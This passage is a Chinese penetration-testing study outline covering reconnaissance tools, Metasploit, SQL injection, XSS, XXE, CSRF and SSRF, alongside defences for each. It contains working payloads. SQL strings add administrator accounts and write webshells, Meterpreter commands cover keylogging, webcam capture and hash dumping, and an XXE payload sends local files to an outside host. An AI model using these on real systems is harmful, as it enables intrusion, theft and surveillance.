网络安全-渗透测试流程
2023-09-30 10:46:35 0 举报
AI智能生成
渗透测试流程主要包括:信息收集、威胁建模、漏洞分析、渗透攻击和结果分析五个阶段。首先,通过各种手段收集目标系统的信息,包括网络结构、运行服务、系统版本等。然后,根据收集到的信息进行威胁建模,确定可能的攻击路径和攻击方式。接着,对可能存在的安全漏洞进行分析,寻找可利用的漏洞。在确认漏洞存在后,进行渗透攻击,尝试利用漏洞获取系统权限。最后,对渗透测试的结果进行分析,评估系统的安全性,并提出改进建议。整个过程需要遵循合规性原则,避免对目标系统造成不必要的损害。
作者其他创作
大纲/内容
明确目标
确定范围
IP
域名
内外网
确定规则
时间
可否上传
可否提权
确定需求
Web应用
业务逻辑
人员权限管理
数据备份
代码
数据库
信息收集
子域名及ip获取
DNS 传送漏洞
通过kaili的dnsenum工具获取dns域中域名,如:dnsenum oldboy.com
备案号查询
https://www.tianyancha.com
http://www.beianbeian.com
https://icp.aizhan.com
http://cha.fute.com/index
SSL查询
https://myssl.com/ssl.html
https://www.chinassl.net/ssltools/ssl-checker.html
APP提取
AndroidKiller
JDK8
环境变量
字符串搜索
微信公众号提取
手机抓包
暴力破解
暴力破解常用工具
Demon
DirBuster
DNSReconcile
Layer子域名挖掘机
DNS历史记录解析
www.dnsdb.io(收费)
在线网站查询
https://fofa.so/ #Fofa
# 常用基础查询语句
title="beijing"
# 从标题中搜索北京
header="test"
# 从Http头中搜索test
body="test"
#从HTML正文中搜索test
domain="test.com"
#搜索根域名带有test.com的网站
icp="京ICP证xxxx号"
#查找备案号为京ICP证xxxx号的网站
port="3306"
#查找对应3306端口的资产
ip="1.1.1.1"
#从ip中搜索包含1.1.1.1的网站
ip="220.181.111.1/24"
#查询IP为“220.181.111.1”的C网段资产
status_code="200"
#查询服务器状态码为200的资产
country="CN"
#搜索指定国家的资产(编码)
os="centos"
#搜索指定操作系统的资产
cert="xxxxxxx"
#搜索证书序列号为xxxxxxx的资产(10进制)
after="2017" && before="2017-10-01"
#时间范围段搜索
server="nginx"
#指定中间件搜索
http://tool.chinaz.com/ #钟馗之眼
https://www.zoomeye.org/ #站长之家
Jsfinder(Kali下的.py文件)
下载地址:https://github.com/Threezh1/JSFinder
用法: python3 JSFinder.py -u http://www.163.com
威胁情报
https://ti.360.cn #360
https://s.threatbook.cn/ #微步云沙箱
C段收集
Google Hack
inurl # 用于搜索网页上包含的URL. 这个语法对寻找网页上的搜索,帮助之类的很有用.
intext #只搜索网页部分中包含的文字(也就是忽略了标题,URL等的文字).
site # 可以限制你搜索范围的域名.
filetype # 搜索文件的后缀或者扩展名
intitle # 限制你搜索的网页标题.
allintitle # 搜索所有关键字构成标题的网页. 但是推荐不要使用
link# 可以得到一个所有包含了某个指定URL的页面列表
证书序列号获取企业域名与ip
站长之家
天眼查
敏感信息收集
web源码泄露
工具扫描: 7kb , web破壳
源码搜索
https://searchcode.com/
https://github.com/
https://gitee.com/
网盘搜索
https://www.lingfengyun.com/ #凌风云
http://www.pansou.com/ #盘搜
社工库
https://www.instantcheckmate.com/
http://www.uneihan.com/
https://www.uedbox.com/post/7860/ #社工库搭建
邮箱信息收集
手工
百度等搜索引擎搜索
github等第三方托管平台
社工库
工具
The Harvester
https://github.com/laramies/theHarvester #下载地址
./theHarvester.py -d 域名 -1 1000 -b all #使用方法
历史漏洞收集
wooyun
http://www.anquan.us/
http://wooyun.2xss.cc/
补天
https://www.butian.net/
教育行业漏洞报告平台
https://src.edu-info.edu.cn/login/
漏洞银行
https://www.bugbank.cn/
CNVD
http://www.cnvd.org.cn/ #CNVD国家信息安全漏洞平台
whois查询
https://whois.aliyun.com/ #阿里whois
http://whois.chinaz.com/ #站长之家whois
https://who.is/ #国外whois
信息整理
指纹 / WAF / CDN 识别
指纹识别
工具识别(稳定)
御剑WEB指纹识别系统 #独立工具
whatweb #Kali集成
Wapplyzer #chrome拓展
在线识别(库较大,但是不稳定)
云悉指纹识别
http://www.yunsee.cn/info.html
# 注册需要提交三个指纹
WAF(Kali集成)
Usage:wafw00f <domain>
CDN识别
多地ping确认
http://ping.chinaz.com/
http://ping.aizhan.com/
DNS历史解析记录
DNSDB #https://dnsdb.io/zh-cn/
微步在线 #https://x.threatbook.cn/
在线网站查找 #https://tools.ipip.net/cdn.php
https://tools.ipip.net/cdn.php
Fofa
title
cert
绕过CDN
https://www.cnblogs.com/qiudabai/p/9763739.html
phpinfo.php
如果目标网站存在phpinfo泄露等,可以在phpinfo中的SERVER_ADDR或_SERVER[“SERVER_ADDR”]找到真实ip
可能用到的网站
SRC众测平台
https://www.hackerone.com/ #国际漏洞提交平台
http://www.cnvd.org.cn/ #CNVD国家信息安全漏洞平台
https://www.bugbank.cn/ #漏洞银行
https://www.butian.net/ #360补天
国内漏洞平台
https://www.seebug.org/ #知道创宇Seebug漏洞平台
http://www.bugscan.net/source/template/vulns/ #为数不多的漏洞管理插件收集平台
漏洞扫描
端口扫描
NMAP
端口状态
open
# 端口开放
closed
# 端口关闭
filtered
# 端口被防火墙屏蔽,无法确定状态
unfiltered
# 端口没有被屏蔽,但是否开放需要进一步确认
open|filtered
# 端口是开放的或被屏蔽
closed|filtered
# 端口是关闭的或被屏蔽
端口扫描探测方式
TCP SYN scanning
TCP connect scanning
TCP ACK scanning
TCP FIN/Xmas/NULL scanning
UDP scanning
其他方式
NMAP核心命令
-sn
# 只进行主机发现,不进行端口扫描
-sS
# TCP方式进行端口扫描
-sU
# UDP方式进行端口扫描
-sV
# 指定版本探测
-O
# 探测系统类型版本号
-Pn
# 绕过ping扫描,对方开启防火墙时使用
-p
# 指定端口扫描
系统扫描
天镜
目标格式
www.test.com
# 域名
10.0.0.1
# 单个ip
10.0.0.1,10.0.0.3
#多个ip,逗号隔开
10.0.0.1-10.0.0.70
# 多个连续ip
10.0.0.*
# 网段
主机存活探测选项
常规探测
# 采用常规Ping和若干TCP最常用端口来发现主机,速度快,范围广
深度探测
# 采用连接目标主机的大范围常用端口来发现主机,特点是探测准确度高,扫描时间长,适用于有防火墙的环境
自定义端口探测
# 在常规探测或深度探测的基础上添加自定义的端口来发现主机。自定义端口最多20个,端口之间以 `,`隔开,适用于探测仅有特定端口开启的目标主机
端口扫描选项
扫描策略
标准端口扫描
扫描常见的5000个端口,扫描速度与扫描准确性较好
快速端口扫描
扫描常见的1024个端口,扫描速度快
指定端口扫描
扫描方式
SYN
FIN
ACK
NULL
UDP
智能识别
常用服务改变默认端口的情况下,扫描发现目标主机开放的服务
Nessus
https://localhost:8834/#/
net stop "Tenable Nessus"
Web扫描
Appscan
登录方法
记录Session
自动
适用于无验证码界面
提示
无,不登录后端
AWVS
HTTP认证
# 需要登录时使用
客户证书
# 需要证书时使用
代理服务器
# 需要隐藏本机或扫描内网
网站登录
# 无需验证码时使用
Netspark
绿盟wvss
安恒明鉴
App扫描
梆梆安全
360
爱加密
漏洞验证
MSF
基本步骤
1. search
2. use
use exploit/multi/handler #设置监听
3. show options
4. set
5. exploit
名词解释
渗透攻击 Exploit
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
攻击载荷 Payload
攻击载荷是我们期望目标系统在被渗透攻击后而执行的代码
bind_tcp
#正向连接,客户端(攻击机)主动连接服务端(靶机)
reverse_tcp
#反向连接,服务端(靶机)主动连接客户端(攻击机)
溢出代码 Shellcode
渗透攻击时作为攻击载荷运行的一组机器指令
模块 Module
在MSF中,一个模块是指MSF框架中所像用的一段软件代码组件
监听器 Listener
监听器是MSF中用来等待连入网络连接的组件
常用命令
?#¿
search #搜索模块名和描述
use #进入模块
back #从当前环境返回
check #检测
background #后台运行会话
sessions -i #查看所有会话
connect [options] <host> <port> #连接
kill #结束进程
quit #退出MSF
loadpath #加载一个模块的路径
load #加载一个插件
resource #运行储存一个文件中的命令
route #查看一个会话的路由信息
save #保存动作
set #给一个变量赋值
show #显示给所有类型的模块
setg #把一个赋值给全局变量
sleep #在限定的秒数内什么也不做
unload #卸载一个模块
unset #解除一个或多个变量
unsetg #解除一个或多个全局变量
version #显示MSF和控制台版本
后期攻击使用方法
upload <file> <destination>
# 上传文件到Windows主机,使用-r参数可以递归上传上传目录和文件
download <file> <path to save>
# 从windows主机下载文件
execute -f <path> [options]
# 在目标主机上执行exe文件
execute -f cmd -c
# 在目标主机上执行命令提示符
ps
# 显示进程
shell
# 进入目标主机的cmd
C:\Windows\system32>chcp 65001 #解决cmd乱码,实际为转化成英文
getuid
# 查看当前权限
system #Windows最高权限
root #Linux最高权限
sysinfo
# 显示系统名,操作系统,架构和语言
hashdump
# 使用Hashdump转储所有hash值
run credcollect
# 使用Credcollect转储hash值
portfwd add -l port1 -p port2 -r ip
# 创建端口转发,这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用
portlist # 查看所有端口转发记录
portfwd flush # 删除所有的端口转发记录
portfwd add -l port1 -p port2 -r ip # 将目标机的port2端口转发到ip的port1端口
portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>
# 删除端口转发
search
# 查找目标主机上的特定文件
incognito
# 模拟任意用户(token操作)
use incognito # 加载incognito模块
list_tokens -u #显示所有有效的tokens
impersonate_token "Root-PC\Root" # 模拟Root-PC\Root的token
webcam
# 摄像头
webcam_list # 查看摄像头
webcam_snap # 通过摄像头拍照
webcam_stream # 通过摄像头开启视频
execute
# 执行文件
timestomp
# 伪造时间戳
timestomp C:// -h # 查看帮助
timestomp -v C://2.txt # 查看时间戳
timestomp C://2.txt -f C://1.txt # 将1.txt的时间戳复制给2.txt
keyscan
# 键盘记录
keyscan_start # 开始键盘记录
keyscan_dump # 导出记录数据
keyscan_stop # 结束键盘记录
Msfvenom生成木马
-p # 选择一个payload
-l # 载荷列表
-f # 生成的文件格式
-e # 编码方式
-i # 编码次数
-b # 在生成的程序中避免出现的值
-x # 允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。
-h # 帮助
常见漏洞
Windows
MS17-010(永恒之蓝)
CVE-2020-0796 (永恒之蓝2.0)
CVE_2019_0708(3389远程桌面)
MS12-020 (DOS攻击,蓝屏,3389端口)
MS15-034 (IIS蓝屏)
MS10-018 (浏览器钓鱼)
MS10-087 (Word钓鱼)
Linux
CVE-1999-0170 (NFS 共享信息泄露漏洞)
CVE-2014-6271 (Bash Shellshock破壳)
CVE-2012-1823 (PHP CGI漏洞利用)
samba服务漏洞
auxiliary/scanner/smb/smb_version
exploit/multi/samba/usermap_script
OWASP TOP10(2017)
A1 注入攻击
A2 失效的身份认证
A3 敏感数据泄露
A4 XML外部实体攻击
A5 无效的访问控制
A6 安全配置错误
A7 跨站脚本攻击
A8 不安全的反序列化漏洞
A9 使用含有已知漏洞的组件
A10 日志与监控不足
Sql注入
注入原理与查找方法
注入攻击原理
注入产生的原因是接受相关参数未经处理直接带入数据库查询操作;注入攻击属于服务端攻击,他与操作系统、数据库类型、脚本语言类型无关
注入漏洞的检测方法:单引号或and 1=1 和and 1=2
如何找注入
与数据库交互的相关页面
http://www.*****.com/***.asp?id=xx (ASP注入)
http://www.*****.com/***.php?id=xx (php注入)
http://www.*****.com/***.jsp?id=xx (jsp注入)
登录的地方、更新的地方、注册的地方、留言板等
Http Header注入
把http header直接代入数据库
Cookie注入
数据参数写入到cookice参数里面
可能出现注入的地方:http头、cookices、referee、user agent,post提交数据包的地方等等
注入分类
数字型
字符型
搜索型
'%vince%' or 1=1;
XX型
username=('xx') or 1=1;
注入提交方式
get
地址栏可以看见参数
post
通过burp抓包
cookie
通过burp抓包
注入攻击支持类型
union注入
union操作符一般与order by语句配合使用
information_schema注入
information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息
基于函数报错注入(insert、update、dalete)
updatexml()、extractvalue()、 floor()
盲注
基于布尔型SQL盲注
select ascii(substr(database(),1,1))>xx;
基于时间型SQL盲注
vince' and sleep(x)#
基于报错型SQL盲注
宽字节注入
跟GBK有关,%df' or 1=1
mssql数据库
sa
第一步:检查是否是mssql数据库
and exists (select * from%20sysobjects)
第二步:查询当前数据库系统的用户名
and system_user=0
第三步:检查注入点是否为sa权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
第四步:判断一下xp_cmdshell存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
恢复xp_cmdshell可以用 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
第五步:添加帐号
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
第六步:开3389
;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
dbowner
第一步:查看当前网站是否为db_owner权限
and 1=(SELECT IS_MEMBER('db_owner'));-- 判断当前数据库用户是否为db_owner权限
第二步:找出网站路径
1、通过报 错或baidu、google等查找
2、通过相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=1)>0--
第三步:写入一句话木马获取webshell
master..xp_cmd
%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.asp'--
差异备份
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
public
第一步:获取当前网站数据库名称
and db_name()=0--
第二步:获取mssql所有数据库名和路径
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
第三步:获取当前数据库所有表名
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
第四步:爆表名及字段名
having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--
第五步:获取字段内容
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
mysql4与5区别
MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。通过dumpfile/outfile函数导出获取WebShell。
mysql用户名密码存储位置
数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。
mysql注入语句
检查注入点' 与and 1=1 and 1=2
' order by 1,2--+&Submit=Submit#
’ union select user(),version()--+&Submit=Submit# 查看数据库用户名和版本、库名(dvwa)
'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit 获取mysql所有库
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit 获取dwva表名guestbook,users
union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit 获取所有user表里面的字段table_name=0x7573657273 不转成十六进制也可以table_name="users"
union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit 获取所有字段内容
对服务器文件进行读写操作(前提条件)
需要知道远程目录
需要mysql root权限
需要远程目录有写权限
需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql.ini配置文件)
获取web路径的方法
%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit 路径记得转化为十六进制
常见WINDOWS下配置文件:c:/windows/php.ini //php配置信息c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置d:\APACHE\Apache2\conf\httpd.confc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
LUNIX/UNIX 下:/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件/usr/local/apache2/conf/httpd.conf/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/usr/local/app/php5/lib/php.ini //PHP相关设置/etc/sysconfig/iptables //从中得到防火墙规则策略/etc/httpd/conf/httpd.conf // apache配置文件/etc/rsyncd.conf //同步程序配置文件/etc/my.cnf //mysql的配置文件/etc/redhat-release //系统版本/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
服务器读取文件
union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit
写webshell获取权限
union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
sqlmap
-r
指定参数post注入 sqlmap.py -r post.txt -p 注入参数
-u
get注入
–-level=LEVEL
执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
--risk=RISK
执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
-v
ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
-p
-p 后面接参数,针对单个参数注入
-threads
线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10
-batch-smart
智能判断测试
--mobile
模拟测试手机环境站点
-m
批量注入
注入获取数据命令
--dbs //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2--current-user:大多数数据库中可检测到数据库管理系统当前用户--current-db:当前连接数据库名--is-dba:判断当前的用户是否为管理--users:列出数据库所有所有用户
获取表名
--tables -D 数据库名
字段名
--columns -T user -D abc
数据内容
-T user -C username,password,email --dump
读文件内容
--file-read /etc/password
系统交互的shell
--os-shell
写webshell
--file-write "c:/3.txt” --file-dest “C:/phpStudy/WWW/3.php” -v1 /*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/
sqlmap过waf
--tamper ""
注入防御
涵数过滤
直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面
PDO预处理:http://www.php.cn/course/868.html
access数据库
猜解数据库表名
and exists(select * from users)
猜解数据库表名里面的字段
and exists(select password from administrator)
猜解字段内容
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高级查询
order by
union select
偏移注入
跨库查询
伪静态与cookie注入
cookie注入:当我们打开get或post页面的时候,发现有注入防范,可以把get或post参数写入到cookie里面进行测试注入,有的时候程序未对cookie注入进行防范(注:前提是接受用户参数的地方是request并未对cookie进入防范)
伪静态:一般是中间件加载了伪静态插件代码,其实不是真正的静态页面,如:https://www.oldboyedu.com/zuixin_wenzhang/index/id/523 注入的时候我们可以写成这样:https://www.oldboyedu.com/zuixin_wenzhang/index/id/523%20and%202=4%20union%20select%201,2,group_concat%28username,0x207C,password%29,4,5,6,7,8,9,10,11,12,13,14,15%20from%20y_user.html 也可以https://www.oldboyedu.com/zuixin_wenzhang/index?id=523 进行注入
XSS(跨站脚本攻击)
xss概念及原理
什么是XSS
XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着XSS可以进行“服务端”攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一般也是靠管理员身份作为“跳板”进行实施攻击。 XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言
XSS漏洞出现的原因
程序对输入和输出的控制不够严格,导致"精心构造“的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害
XSS漏洞产生必须要满足有输入与输出
XSS分类
反射型XSS
交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。
储存型XSS
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性
DOM XSS
不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞
XSS可能存在的地方
HTML context
Attribute Context
URL Context
Style Context
Script Context
XSS测试方法
手工
最重要的是考虑那里有输入,输入的数据在什么地方输出
在目标站点上找到输入点,比如查询接口,留言板等
输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理
通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞
工具
APPscan、AWVS、Burpsuite 等
半自动化工具
Burpsuite、firefox(hackbar)、XSSER XSSF等
同源策略
什么是跨域
当`协议`、`主机(主域名,子域名)`、`端口`中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象
不受同源策略限止
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
同源策略修改
后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问
XSS绕过
前端限制绕过
大小写混合
拼凑绕过
编码
注释干扰后台绕过
htmlspecialchars()函数
htmlspecialchars()函数的语法
htmlspecialchars(string,flags,character-set,double_encode)
htmlspecialchars()函数的作用
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
>(大于)成为 >
htmlspecialchars()函数配置参数
# 可用的quotestyle类型
ENT_COMPAT # 默认,仅编码双引号
ENT_QUOTES # 编码双引号和单引号
ENT_NOQUOTES # 不编码任何引号
q' onclick='alert(111)' #绕过方法
XSS的防范
总体思路:对输入进行过滤,对输出进行编码
过滤
根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。
转义
所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义(\\)
XXE(外部实体注入)
XXE的概念及原理
什么是XXE
XML外部实体注入(Xml eXternal Entity)
XXE产生原因
使用了低版本php,libxml低于2.9.1
libxml_disable_entity_loader(FALSE);
XML简单介绍
XML的文档结构
XML声明
DTD文档类型定义
文档元素
XML文档的构建模块
元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
空的 HTML 元素的例子是 hr、br 以及 img
属性
属性可提供有关元素的额外信息
实体
实体是用来定义普通文本的变量。实体引用是对实体的引用
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记
CDATA
CDATA 的意思是字符数据(character data)
CDATA 是不会被解析器解析的文本
DTD(文档类型定义)
作用
定义 XML 文档的合法构建模块
内部声明
<!DOCTYPE 根元素 [元素声明]>
外部引用
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量
实体的分类
一般实体
<!ENTITY 实体名 "实体内容">
参数实体
<!ENTITY % 实体名 "实体内容">
引用实体的方式
%实体名
内部实体声明
<!ENTITY 实体名称 "实体的值">
<!ENTITY eviltest "eviltest"> # 范例
# 完整示例<?xml version="1.0"?><!DOCTYPE test [<!ENTITY writer "Bill Gates"><!ENTITY copyright "Copyright W3School.com.cn">]>
外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">
# 完整示例<?xml version="1.0"?><!DOCTYPE test [<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">]>
如何找xxe漏洞
抓包看accept头是否接受xml
抓包修改数据类型,把json改成xml来传输数据
XXE攻击
有回显
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]> <name>&hacker;</name>
无回显
建立*.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">
xml调用
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]>
防范方法
1、升级php版本
2、程序员修改代码
PHP:libxml_disable_entity_loader(true);JAVA:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);setFeature("http://xml.org/sax/features/external-general-entities",false)setFeature("http://xml.org/sax/features/external-parameter-entities",false);Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
3、过滤关键词
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
CSRF(跨站请求伪造)
CSRF概念及原理
概念
`Cross-site request forgery`简称CSRF。CSRF攻击是建立会话Session之上的攻击,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。同时CSRF攻击也被称为 `one-click attack` 或者 `session riding`。
原理
程序员开发的时候,未对相关页面进行token和REFERER判断,造成攻击者可构造自己的URL地址欺骗目标用户进行点击
攻击步骤
用户打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
CSRF攻击分类
站内
CSRF站内类型的漏洞在一定程度上是由于程序员滥用$_REQUEST类变量造成的。
站外
站外类型的漏洞本质上就是传统意义上的外部提交数据问题
CSRF漏洞检测方式
手动检测
抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
工具检测
BurpSuite
CSRFTester
CSRF Request Builder
CSRF漏洞挖掘
扫描器
修改密码的地方
添加用户的地方
数据库备份的地方
数据交易、支付等
CSRF一般与XSS结合使用
CSRF攻击防御
服务端防御
验证Rerferer字段
添加token并验证
在Http头中自定义属性并验证
严格区分Post与Get的数据请求,建议不要用Get请求来做会话保持
使用验证码或原密码确认
客户端防御
安全设备如H3C公司的IPS产品
SSRF(服务端请求伪造)
SSRF概念及原理
概念
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。
原理
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等
SSRF的用途
可以对外网服务器所在的内网进行端口就扫描,获取一些服务的banner信息
攻击运行在内网或本地的应用程序
对内网的web应用进行指纹识别,通过访问默认文件实现
攻击内外网的web应用,主要是get参数就可以实现的攻击(如:strets2,sqli等)
利用`File`协议读取本地文件
SSRF的漏洞挖掘
WEB功能
分享:通过URL地址分享网页内容
转码服务
在线翻译
图片加载与下载:通过URL地址加载或下载图片
图片、文章收藏功能
未公开的API实现以及其他调用URL的功能
URL关键字
share=
wap=
url=
link=
src=
source=
target=
u=
3g=
display=
sourceURl=
imageURL=
domain=
SSRF的绕过方法
更改IP地址写法
八进制
十六进制
十进制
十进制整数格式
16进制整数格式
利用解析URL所出现的问题
http://www.oldboyedu.com@192.168.0.1/
可能导致SSRF的后端代码函数
file_get_contents
fsockopen
curl_exec
SSRF的防范方法
过滤10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost私有地址、IPv6地址
过滤file:///、dict://、gopher://、ftp:// http:// https:// php:///危险schema
白名单过滤
对返回的内容进行识别
任意文件下载上传漏洞
任意文件下载
概念
